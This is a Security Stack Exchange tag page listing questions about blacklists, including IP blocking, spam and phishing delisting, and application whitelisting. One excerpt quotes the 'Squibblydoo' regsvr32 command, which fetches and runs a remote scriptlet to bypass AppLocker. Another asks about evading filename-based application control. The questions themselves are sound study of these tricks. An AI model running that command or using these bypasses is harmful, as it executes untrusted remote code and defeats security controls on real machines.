Questions tagged [blacklist]
A blacklist is a list of data to filter be filtered out. A blacklist is the opposite of a whitelist. - Whitelist - only these things. - Blacklist - everything but these things.
47 questions
1
vote
2
answers
375
views
Does a database with pre-calculated SHA256 values exist for Windows EXEs?
Background: At my place of work, we're trying to block all unapproved browsers on all Windows machines and the IT Security guys did a search on our internal infrastructure and came up with a list of ...
- 123
0
votes
0
answers
19
views
Block specific spam ip address to my websites [duplicate]
I have a website. It receives visits from about 50000 different ip addresses a day, I know it does not provide 100% protection, but I am thinking of doing an ip block operation on harmful ip addresses ...
1
vote
1
answer
424
views
Is blocking Autonomous Systems numbers in the firewall a good practice?
In response to low-hanging fruit attacks (accounts creation, image sending etc.) which request rates goes below our rate-limiting rules and are not blocked, we started blocking AS numbers from ...
- 21
1
vote
2
answers
976
views
Risks sending emails with my servers using clients' SMTP credentials
Assuming I am creating an online service that allows my clients to send email (using their SMTP credentials), what risks should I consider and how to prevent them?
The sender of the emails will always ...
- 55
0
votes
1
answer
338
views
My IP Address is on 3 blacklists
I noticed my email address (my email address is through a web host where I also host my website) was being bounced from one or more professional email subscriber lists.
Through MX Tools I see that my ...
- 3
0
votes
1
answer
333
views
Can't find cause of malware in Wordpress site - adding html files with redirects [closed]
I'm helping a non-profit and they have had malware on their WordPress site. I installed Sucuri and it quickly finds some strangely named HTML files in the base directory. I removed those files. ...
- 101
4
votes
1
answer
243
views
Can/should I automatically report network break-in attempts?
For the last 15 years I've been using SpamCop to report the spam I receive. I do this because
it sometimes results in spammers and the third-party machines they compromise getting shut down, at ...
- 675
0
votes
0
answers
116
views
cPanel deny IP Addresses of spammers
I have a drupal 7 site, but this question is a more generic one. In the logs I'm seeing regular "attacks" to access protected resources. So attackers are just trying. I'm starting to see more ...
- 97
1
vote
1
answer
163
views
Protect Wordpress against ddos attack [closed]
The above screenshot is from my website's cpanel visitors list.My website is build on wordpress. And I think someone is trying hard to crack open my website with DDOS attack and drain out my 10gb ...
- 111
2
votes
1
answer
3k
views
Firejail Blacklist/Whitelist Priorities
I have defined the following:
whitelist /home/user/.mozilla/firefox/
noblacklist /home/user/.mozilla/firefox/
blacklist /home
However I get:
ls: cannot access '/home/user/.mozilla/firefox': ...
- 31
32
votes
1
answer
15k
views
Is it possible to change original filename of an exe?
We are using an application control solution which denies access for some exes according to their original filename. Is it possible to change original filename with hex editor or another method?
- 437
1
vote
1
answer
150
views
Free/Inexpensive IP blacklists [closed]
What are some free or inexpensive places where I can grab blacklists automatically? I do not want to have to query for each individual IP. The firewall, PF, requires you to have the IPs or ranges in a ...
- 321
1
vote
1
answer
337
views
My website got blacklisted as "phishing". Any hints on how to avoid that?
I have a personal website hosted using my provider's DNS name (i.e. myname.provider.com) on my personal hardware at home. The web server (both HTTP and HTTPS) is Apache on Debian Wheezy (which is ...
- 10.2k
-1
votes
1
answer
331
views
Should I blacklist countries to stop brute force attacks?
I'm getting attacks at wp-admin from numerous countries and IPs. When I get a notification from Wordfence that there has been an attack, I blacklist the originating country from the WP backend. Then I ...
- 3
0
votes
2
answers
633
views
IP reputation lists of malicious/suspicious IPs (paid or free) [closed]
I am looking for (also paid) option to get a list of bad, malicious IPs. Are there some vendors selling those?
So far I found many IP lookup website and lists, but they relate mostly to SPAM.
I want ...
- 1,007
1
vote
0
answers
89
views
Website marked as dangerous (phishing) in the past. How to get off blacklists? [duplicate]
One of our clients got his website infected almost a year ago. The site indeed contained some malicious files on the FTP server, and it got marked as dangerous, with suspicion of phishing attempts.
A ...
- 111
1
vote
2
answers
300
views
Why would a phishing blacklist be hashed?
I was planning to comment on the question at Finding phishing sites to certain domain and suggest searching Google's blacklist for keywords or substrings of a domain name in question.
But then I ...
- 167
2
votes
2
answers
188
views
Can ISPs be helpful in preventing spam?
I have received a number of phishing emails from various domains. I would like to prevent the domain from sending emails so that other people also don't get taken advantage of.
I have not been ...
3
votes
2
answers
16k
views
Resolving "This website has been reported as unsafe" (Windows Defender SmartScreen)
I had a website that was compromised—the attacker planted malware that caused a redirect to a malicious site. The security holes have now been fixed and the malware has been removed. However, ...
- 195
7
votes
2
answers
3k
views
How does this AppLocker bypass work, exactly? ("Squibblydoo")
I have read on a few blogs about a trick called "Squibblydoo", where the following command can bypass Windows' AppLocker:
regsvr32 /s /n /u /i:http://reg.cx/2kK3 scrobj.dll
Where the URL points to a ...
- 277
1
vote
1
answer
240
views
Might have been infected
I recently got redirected to a site which just made a loud beeping sound, when trying to just access a link in a YouTube video discription. My Anti Virus Program (Kaspersky Internet Security) ...
- 11
3
votes
2
answers
585
views
Remove domain from web filter blacklists
A domain with a checkered past
I work at a company that purchased a .com domain around a year ago, and it uses this domain for its web site and e-mail now. However, the previous owner had a site (...
- 4,342
1
vote
1
answer
754
views
Whitelist Application For Windows Server 2012
My problem
I am looking for an application which runs on Windows Server 2012 for security reasons. Our server began attacked on many protocols. They are trying brute force attacks with very weak ...
- 7
2
votes
0
answers
157
views
Are there any good OSINT feeds related to phone phishing? [closed]
There are lots of feeds related to fraudulent and malicious domains and IPs, but we're seeing more and more social engineering attempts coming in via phone.
When these are reported to us, I'd like to ...
- 6,338
2
votes
0
answers
149
views
Filter out ISPs from Whois results [closed]
I was wondering if there is any efficient way or any service (free or not) that may help me in order to identify companies behind IP addresses.
I figured out that in some cases Whois may be really ...
- 121
0
votes
2
answers
359
views
Should entire domains always be blacklisted?
I'm working on a team for an enterprise network security product and we're implementing white/blacklisting as part of the program. We have lists that were taken from a third-party source but nobody ...
1
vote
1
answer
265
views
Why does Yahoo cached results button lead to blacklisted "malicious"/"phishing" IP?
I did a search for some on Yahoo, I then click on the little arrow next to one of the search results and then clicked the Cached button because I wanted to view an older version of the page. It took ...
user67447
1
vote
1
answer
2k
views
Difference between Knowledge-based IDS and behavior-based IDS
I have difficulties in understanding the difference between Knowledge-based IDS and behavior-based IDS.
This link says that a knowledge-based IDS uses a database of specific attacks and system ...
- 203
0
votes
5
answers
1k
views
Blacklisting of a block of IP addresses - Why?
I have discovered that one of the IP addresses my company's domain names has been assigned to has blacklisted. It's a new domain and address for us. There's no website attached to it, but very often ...
- 121
1
vote
1
answer
341
views
How DNS blacklisting works?
Let's say we have this network setup:
PC > Firewall > DNS Server
I was under the impression that the PC would attempt to access the DNS server but the firewall would instantly block the request ...
- 11
1
vote
2
answers
8k
views
How to remove my email from spam-lists/blacklists after malware issue?
I am not sure this is the proper place to ask this question, but I am sure someone will be able to help me :)
I have a Mac, which I use for daily working (emails, etc.). Recently, I received some ...
- 111
2
votes
1
answer
406
views
What is the lifespan of a C2?
I've been working on setting up dynamic blacklists, and one question that came up is how long typical entries should be kept on a blacklist. In the interest of equity, there should obviously be some ...
- 178
4
votes
1
answer
183
views
Is filtering flash based on the mimetype enough to keep it out?
As flash is a real security mess I started blacklisting flash at our proxy by blocking any content with the mime type application/x-shockwave-flash which works pretty well as far as I can tell. The ...
- 4,343
1
vote
0
answers
151
views
Making My Cache Work and Not Theirs: Blacklist for Blocking Caching Sites with Squidguard?
Is there a Squid Guard blacklist (assuming SSL decryption and inspection) that will block caching websites like Google Cache, Google Translate, and the Internet Wayback Machine?
- 1,471
0
votes
2
answers
4k
views
Will blacklisting a stolen iPhone prevent the thiefs from getting access to my data?
My iPhone was stolen. I have AT&T. I did a factory reset, but believe my phone was turned off because I never got confirmation that the phone was erased. If the person who stole the phone took out ...
- 1
2
votes
2
answers
2k
views
Nginx: How to block IP by hostname regex
I'm running a small wordpress site with nginx + php5-fpm.
I have noticed that I get a lot of botnet attacks from IPs with hostnames like:
52-182.static.spheral.ru
208-135.static.spheral.ru
118-239....
- 121
-2
votes
1
answer
298
views
Why not just blacklist every IP except yours?
Inspired as a continuation of this question:
Is it practical to pre-blacklist certain GeoIP regions?
Why would it not make sense to blacklist every single IP address that shouldn't have access to a ...
- 121
2
votes
1
answer
154
views
Are there any standard practices for protecting against malicious links being entered in a public form?
A website I'm working on needs to have a form for any visitor to submit a request for information about a service. The user will not need to create an account, and contact details are just part of the ...
- 843
0
votes
2
answers
136
views
Secure way for bulk mailbox verification to avoid IP Blacklisting
We have built an API that verifies a address existence in the respective MX using
RCTP command. Their are many services available out there but we like to do it again since we have few clients who ...
10
votes
4
answers
7k
views
Making a Blacklist of filetypes to protect PHP application
I'm working in a PHP system where the user can upload files.
I'm trying to protect the system from malicious codes, so I'm thinking about some type of blacklist of files that I've to block from ...
- 255
0
votes
1
answer
112
views
Technical term needed: Per default secured / blacklist vs whitelist
I'm currently working on a homework and missing a technical term / known best practice to describe what I have learned or what I feel that is better. It is about a publish / subscribe architecture, ...
- 103
1
vote
2
answers
607
views
DDoS Mitigation - Whitelist or Blacklist Incoming SOURCE Ports?
For a network offering webservices, I have had recommendations to blacklist a couple of common incoming DESTINATION ports, such as UDP 53, to combat the increasing load from DDoS. I'm wondering if it ...
- 739
2
votes
2
answers
826
views
Is there known statistics of passwords used during brute force password attacks?
I have been reading quite a bit about brute force attacks and I am wondering whether the passwords that are used in such attacks should be kept around so as to later prevent my users from having those ...
- 1,067
4
votes
1
answer
763
views
How to defend against a Spoofed-IP Blocklist DOS attack?
So I've implemented an IP Blocklist for the /login endpoint on my server.
If any IP fails to login more than x number of attempts in x number of minutes the requesting IP is blocklisted for x number ...
- 326
1
vote
1
answer
163
views
Shared Global Blacklist Trust Issue
Some vendors like Palo Alto Networks make appliances that will sync blacklists across all of their client base when one of their clients gets attacked. So after the first guy gets attacked, all of the ...
- 2,292
4
votes
2
answers
4k
views
Blacklisting IP addresses -- when should we take action?
I am responsible for securing an AWS environment and am noticing various recon attacks against the environment. We have the option of blocking the IP addresses in our firewall, but the environment is ...
- 1,229
6
votes
5
answers
20k
views
Blacklisting vs. whitelisting characters to prevent XSS?
I've been reading about XSS prevention on OWASP and other security channels. They all say that I should use ESAPI or a similar library and do input filtering through a whitelist approach.
However, I ...
- 2,108